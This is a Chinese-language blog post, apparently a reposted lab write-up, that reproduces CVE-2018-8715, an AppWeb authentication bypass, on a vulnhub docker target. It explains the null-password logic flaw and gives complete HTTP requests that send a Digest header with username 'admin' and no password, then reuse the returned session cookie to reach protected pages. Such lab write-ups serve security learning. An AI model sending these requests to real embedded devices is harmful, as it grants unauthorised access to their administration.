首页 > 移动平台 > 详细

CVE-2018-8715 AppWeb认证绕过漏洞

时间:2021-04-01 18:24:30      阅读:24      评论:0      收藏:0      [点我收藏+]

AppWeb认证绕过漏洞(CVE-2018-8715)

0x01.环境搭建

利用vulnhub搭建漏洞靶场

service docker start
docker-compose up -d

技术分享图片

查看开启的端口

docker-compose ps

技术分享图片

访问http://target_ip:8080

技术分享图片

需要输入账户密码

0x02.漏洞介绍

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置,其认证方式包括以下三种:

  • basic 传统HTTP基础认证
  • digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
  • form 表单认证

其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

0x03.漏洞复现

利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为admin

构造头Authorization: Digest username=admin,并发送如下数据包

GET / HTTP/1.1
Host: target_ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Digest username=admin

技术分享图片

因为我们没有传入密码字段,所以服务端出现错误,直接返回了200,且包含一个session

技术分享图片

将该Session保存到浏览器中,即可以正常访问需要认证的页面,我是利用了hackbar来访问

技术分享图片

技术分享图片

也可以构造POST头来通过Burpsuit访问,其中Authorization: Digest username=adminsession是必要的

POST http://192.168.89.129:8080/ HTTP/1.1
Host: 192.168.89.129:8080
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.63
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close
-http-session-=1::http.session::d058ee0d77908f8ac42be6a0a501ce43
Authorization: Digest username=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

username=admin

技术分享图片

技术分享图片

CVE-2018-8715 AppWeb认证绕过漏洞

原文:https://www.cnblogs.com/-Anguvia-/p/14606571.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!